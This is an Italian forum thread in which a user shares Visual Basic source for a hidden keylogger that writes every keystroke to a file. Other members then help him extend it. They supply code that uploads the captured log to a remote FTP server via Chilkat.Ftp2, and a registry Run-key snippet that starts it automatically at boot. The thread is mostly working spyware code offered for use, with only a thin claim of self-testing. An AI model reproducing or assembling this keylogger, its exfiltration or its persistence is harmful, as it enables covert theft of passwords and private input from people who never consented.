Thread obsoleto ricevere i dati di keylogger

Stato
Discussione chiusa ad ulteriori risposte.

cisba1000

Utente Normale
Autore del topic
22 Giugno 2012
88
42
Miglior risposta
0
ciao a tutti
ho creato finalmente un keylogger utilizzando Visual Basic 2010 con questo codice.

Imports System.IO 'Libreria per la gestione dei file

Public Class Form1

'Dichiarazione funzione GetAsyncKeyState
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Integer) As Integer


Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

'Avvia timer
Timer1.Start()

End Sub

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick

'Form invisibile
Me.Visible = False

'Per ogni input esistente
For i As Integer = 3 To 255

'Dichiarazione variabili
Dim fi As FileInfo = New FileInfo("C:\$Ss.txt")
Dim sw As StreamWriter
Dim ch As String

'Se questo input esiste
If GetAsyncKeyState(i) Then

'Converti in stringa l'input da byte
ch = DirectCast(i, System.Windows.Forms.Keys).ToString

'Se non è un carattere circondalo da {}
If ch.Length > 1 Then
ch = "{" + ch + "}"
End If

'Se il file non esiste crealo.
'Altrimenti aprilo semplicemente in scrittura
If fi.Exists = False Then
sw = fi.CreateText()
Else
sw = fi.AppendText()
End If

'Scrittura
sw.Write(ch) 'Prepara la scrittura del carattere/stringa
sw.Flush() 'scrivi
sw.Close() 'chiudi
End If

Next

End Sub
End Class

lo salvato e lo inviato al mio secondo pc lo aperto e funziona tutto benissimo ma mi chiedevo se,
è possibile ricevere i dati raccolti al mio primo pc online.

è possibile?

ragazzi sono nuovo quindi se ho sbagliato sezione o ho sbagliato a scrivere ditemelo :emoji_slight_smile:
 
Ultima modifica:
Riferimento: ricevere i dati di keylogger

Potresti mandarlo via ftp.
Magari ti crei un account su altervista, con le credenziali inserisci l' username e la password(per l' autenticazione) e invii il file all' account.
Non voglio darti comunque il codice, come da regolamento della sezione Visual Basic(che poi la discussione dovrebbe essere spostata lì).
 
Riferimento: ricevere i dati di keylogger

quindi mi basta registrami su altervista?.

ma dové la sezione di Visual Basic??
 
Riferimento: ricevere i dati di keylogger

Link della sezione visual basic: Visual Basic
Vabbè i codici te li posto, ma non penso possa farlo.
Allora innanzitutto ti registri su Altervista(
Perfavore, Entra oppure Registrati per vedere i Link!
).
Scriviti l' username e la password che ti saranno inviati via email.
Poi scarica il componente che ti servirà:
Perfavore, Entra oppure Registrati per vedere i Link!

Installa il tutto ed apri la finestra di visual basic.
In alto a destra c'è una finestra chiamata "Esplora soluzioni". Sotto ci deve essere un file(proprio sotto la scritta Esplora Soluzioni) una specie di testo che indica il nome del tuo progetto(se non lo hai modificato dovrebbe essere WindowsApplication1).
Clicca con il tasto destro sopra il nome del progetto e clicca su "Aggiungi riferimento". Spostati nella parte "Sfoglia" e cerca:
Codice:
Perfavore, Entra oppure Registrati per vedere i codici!
Cliccaci due volte e vedrai che la finestra di visual basic tornerà a vedersi.
Ora aggiungi questa parte al codice:
Codice:
Perfavore, Entra oppure Registrati per vedere i codici!
NOTA: Modifica le parti in stampatello con i dati. Te le ho evidenziate in rosso.
 
Riferimento: ricevere i dati di keylogger

Mitogiovystar sei un grande ma mi rimane un ultima cosa da chiederti

quando il pc si spegne keylogger si spegne.

ma quando il pc si accende keylogger riamane spento.
c' è un modo per farlo accende senza agire manualmente?

grz ancora di tutto :emoji_slight_smile:
 
Riferimento: ricevere i dati di keylogger

Mitogiovystar grazie. grazie.. grazie...
in futuro mi servirà ancora la tua mano
 
Riferimento: ricevere i dati di keylogger

Dim ftp As Chilkat.Ftp2
Dim success As Long
ftp.Hostname = "TUOSITO"
ftp.Username = "USERNAME"
ftp.Password = "PASSWORD"

' The default data transfer mode is "Active" as opposed to "Passive".

' Connect and login to the FTP server.
success = ftp.Connect()


' Change to the remote directory where the file will be uploaded.
success = ftp.ChangeRemoteDir("keylogger")

' Upload a file.
Dim localFilename As String
localFilename = "PERCORSO DEL FILE CHE RACCOGLIE TUTTI I LOG DEL KEYLOGGER"
Dim remoteFilename As String
remoteFilename = "PERCORSO DEL FILE CHE RACCOGLIE TUTTI I LOG DEL KEYLOGGER"

success = ftp.PutFile(localFilename, remoteFilename)

ftp.Disconnect()

ma questa parte di codice dove la devo mette ?
--------------- AGGIUNTA AL POST ---------------
anche questa?

Dim RegKey As RegistryKey
RegKey = Registry.CurrentUser.CreateSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run\NOME PROGRAMMA")
RegKey.Close()

dove precisamente?
 
Ultima modifica:
Riferimento: ricevere i dati di keylogger

Quante sono le possibilità che entro 5ms il keylogger non sia già rilevato da tutti gli antivirus e non al mondo? Hanno tutti lo stesso codice e sono tutti decompilabili...
 
Riferimento: ricevere i dati di keylogger

no io non voglio inviarlo a qualcuno.
voglio solo testarlo sul mio secondo pc
 
Link della sezione visual basic: Visual Basic
Vabbè i codici te li posto, ma non penso possa farlo.
Allora innanzitutto ti registri su Altervista(
Perfavore, Entra oppure Registrati per vedere i Link!
).
Scriviti l' username e la password che ti saranno inviati via email.
Poi scarica il componente che ti servirà:
Perfavore, Entra oppure Registrati per vedere i Link!

Installa il tutto ed apri la finestra di visual basic.
In alto a destra c'è una finestra chiamata "Esplora soluzioni". Sotto ci deve essere un file(proprio sotto la scritta Esplora Soluzioni) una specie di testo che indica il nome del tuo progetto(se non lo hai modificato dovrebbe essere WindowsApplication1).
Clicca con il tasto destro sopra il nome del progetto e clicca su "Aggiungi riferimento". Spostati nella parte "Sfoglia" e cerca:
Codice:
Perfavore, Entra oppure Registrati per vedere i codici!
Cliccaci due volte e vedrai che la finestra di visual basic tornerà a vedersi.
Ora aggiungi questa parte al codice:
Codice:
Perfavore, Entra oppure Registrati per vedere i codici!
NOTA: Modifica le parti in stampatello con i dati. Te le ho evidenziate in rosso.

Potevi comunque scrivere che il codice non è tuo, e poi a che serve quel componente?

Inviato dal mio GT-S5570 con Tapatalk 2
 
Riferimento: ricevere i dati di keylogger

e poi a che serve quel componente?
Serve per innaffiare le piante in giardino. Mai sei scemo? Perché non ti leggi tutta la discussione prima di commentare?
E poi...scusa, ma se si chiama Chilkat.Ftp2 forse vorrà dire che è per gestire connessioni con server FTP.
 
Serve per innaffiare le piante in giardino. Mai sei scemo? Perché non ti leggi tutta la discussione prima di commentare?
E poi...scusa, ma se si chiama Chilkat.Ftp2 forse vorrà dire che è per gestire connessioni con server FTP.

Intendevo dire che si può fare anche senza, senza portare la dll dietro, e calmati.

Inviato dal mio GT-S5570 con Tapatalk 2
 
Riferimento: ricevere i dati di keylogger

Mi da un errore .

Avviso 1 La variabile 'ftp' viene utilizzata prima che le sia stato assegnato un valore. È possibile che venga restituita un'eccezione dovuta a un riferimento con valore null in fase di esecuzion

Dim success As Long
Dim ftp As Chilkat.Ftp2

ftp.Username = "mionome"
ftp.Password = "miapassword"
ftp.Hostname = "ftp://nomesito.altervista.org"


mi da un errore sempre nel primo ftp. , anche se metto ftp.Hostname = "ftp://nomesito.altervista.org" mi da errore se metto ftp.Password = "miapassword" per primo uguale come risolvo ?
 
Ultima modifica:
Stato
Discussione chiusa ad ulteriori risposte.